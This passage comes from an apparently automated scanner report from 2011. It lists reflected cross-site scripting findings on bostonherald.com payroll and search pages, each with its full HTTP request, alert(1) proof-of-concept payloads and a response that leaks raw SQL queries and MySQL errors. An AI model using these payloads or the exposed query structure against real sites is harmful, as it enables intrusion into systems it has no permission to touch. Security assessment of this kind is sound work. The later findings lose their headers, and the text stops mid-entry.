This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/cambridge/?f4bca(a)57e0d5026f9=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:47:43 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 502 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.*,j.full FROM `cambridgeData` a INNER JOIN `cambridgeCats` j ON j.cat_id = department_id WHERE 1=1 ORDER BY ?f4bca(a)57e0d5026f9=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?f4bca(a)57e0d5026f9=1 LIMIT 0,20' at line ...[SNIP]...
2.32. http://www.bostonherald.com/projects/payroll/mass_pike/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/mass_pike/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c260f(a)d58a654d6ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/mass_pike/?c260f(a)d58a654d6ed=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:29:08 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 370 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT * FROM `massPikePayroll` WHERE 1=1 ORDER BY ?c260f(a)d58a654d6ed=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?c260f(a)d58a654d6ed=1 LIMIT 0,20' at line ...[SNIP]...
2.33. http://www.bostonherald.com/projects/payroll/mass_pike/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/projects/payroll/mass_pike/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f0b5'-alert(1)-'a16c453c05d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/mass_pike/?4f0b5'-alert(1)-'a16c453c05d=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:29:06 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 397 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT * FROM `massPikePayroll` WHERE 1=1 ORDER BY ?4f0b5'-alert(1)-'a16c453c05d=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?4f0b5'-alert(1)-'a16c453c05d=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
2.34. http://www.bostonherald.com/projects/payroll/quasi_state/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/quasi_state/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 6c960(a)77d7148e6d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/quasi_state/?6c960(a)77d7148e6d8=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:39:39 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 540 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.*, b.agency FROM `quasi_state_data` a INNER JOIN `quasi_state_agencies` b ON a.quasi_state_agency_id = b.id WHERE 1=1 ORDER BY ?6c960(a)77d7148e6d8=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?6c960(a)77d7148e6d8=1 LIMIT 0,20' at line ...[SNIP]...
2.35. http://www.bostonherald.com/projects/payroll/quincy/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/quincy/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload eb58b(a)bc791e733d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/quincy/?eb58b(a)bc791e733d=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:35:59 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 365 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `quincyData` a WHERE 1=1 ORDER BY ?eb58b(a)bc791e733d=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?eb58b(a)bc791e733d=1 LIMIT 0,20' at line 1 ...[SNIP]...
2.36. http://www.bostonherald.com/projects/payroll/quincy/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/projects/payroll/quincy/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b364'-alert(1)-'a0ab3d5c958 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/quincy/?4b364'-alert(1)-'a0ab3d5c958=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:35:56 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 395 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `quincyData` a WHERE 1=1 ORDER BY ?4b364'-alert(1)-'a0ab3d5c958=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?4b364'-alert(1)-'a0ab3d5c958=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
2.37. http://www.bostonherald.com/projects/payroll/suffolk/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/suffolk/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 48b0d(a)6246e4e221 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/suffolk/?48b0d(a)6246e4e221=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:34:55 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 367 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `suffolkData` a WHERE 1=1 ORDER BY ?48b0d(a)6246e4e221=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?48b0d(a)6246e4e221=1 LIMIT 0,20' at line 1 ...[SNIP]...
2.38. http://www.bostonherald.com/projects/payroll/suffolk/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/projects/payroll/suffolk/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a52a7'-alert(1)-'3fe2c2f08cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/suffolk/?a52a7'-alert(1)-'3fe2c2f08cd=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:34:54 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 397 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `suffolkData` a WHERE 1=1 ORDER BY ?a52a7'-alert(1)-'3fe2c2f08cd=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?a52a7'-alert(1)-'3fe2c2f08cd=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
2.39. http://www.bostonherald.com/projects/payroll/worcester/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bostonherald.com
Path:
/projects/payroll/worcester/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e29cc'-alert(1)-'a2f2f71b2c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/worcester/?e29cc'-alert(1)-'a2f2f71b2c7=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:42:11 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 401 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `worcesterData` a WHERE 1=1 ORDER BY ?e29cc'-alert(1)-'a2f2f71b2c7=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?e29cc'-alert(1)-'a2f2f71b2c7=1 LIMIT 0,20' at line 1<br> ...[SNIP]...
2.40. http://www.bostonherald.com/projects/payroll/worcester/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.bostonherald.com
Path:
/projects/payroll/worcester/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f4ac7(a)0dc08ce248a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /projects/payroll/worcester/?f4ac7(a)0dc08ce248a=1 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 02:42:15 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Length: 374 Content-Type: text/html; charset=UTF-8 Connection: close
SQL: SELECT a.* FROM `worcesterData` a WHERE 1=1 ORDER BY ?f4ac7(a)0dc08ce248a=1 LIMIT 0,20
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?f4ac7(a)0dc08ce248a=1 LIMIT 0,20' at line ...[SNIP]...
The value of the topic request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60651</script><script>alert(1)</script>03fb46f749a was submitted in the topic parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/?topic=Rep.+James+Vallee60651</script><script>alert(1)</script>03fb46f749a&srvc=home&position=0 HTTP/1.1 Host: www.bostonherald.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ebNewBandWidth_.www.bostonherald.com=776%3A1296254384244; bhfont=12; __utmz=1.1296251844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); tmq=kvq%3DD%3Bkvq%3DT%3Bkvq%3D2804%3Bkvq%3D2803%3Bkvq%3D2802%3Bkvq%3D2526%3Bkvq%3D2525%3Bkvq%3D2524%3Bkvq%3D2523%3Bkvq%3D2515%3Bkvq%3D2510%3Bkvq%3D2509%3Bkvq%3D2502%3Bkvq%3D2501%3Bkvq%3D2473%3Bkvq%3D2413%3Bkvq%3D2097%3Bkvq%3D2093%3Bkvq%3D2092%3Bkvq%3D2091%3Bkvq%3D2090%3Bkvq%3D2088%3Bkvq%3D2087%3Bkvq%3D2086%3Bkvq%3D2084%3Bkvq%3D2079%3Bkvq%3D1755%3Bkvq%3D1133; bhpopup=on; OAX=rcHW801DO8kADVvc; __utma=1.872358987.1296251844.1296251844.1296251844.1; __utmc=1; __qca=P0-1247593866-1296251843767; __utmb=1.56.10.1296251844; RMFD=011PiwJwO101yed8|O2021J3t|O3021J48|P3021J4T|P2021J4m; oggifinogi_uniqueSession=_2011_1_28_22_52_11_945_394437891;
Response
HTTP/1.1 200 OK Date: Sat, 29 Jan 2011 04:08:47 GMT Server: Apache X-Powered-By: PHP/5.2.0-8+etch16 Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 32174
The value of the topic request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2820"><script>alert(1)</script>647d2a3054 was submitted in the topic parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
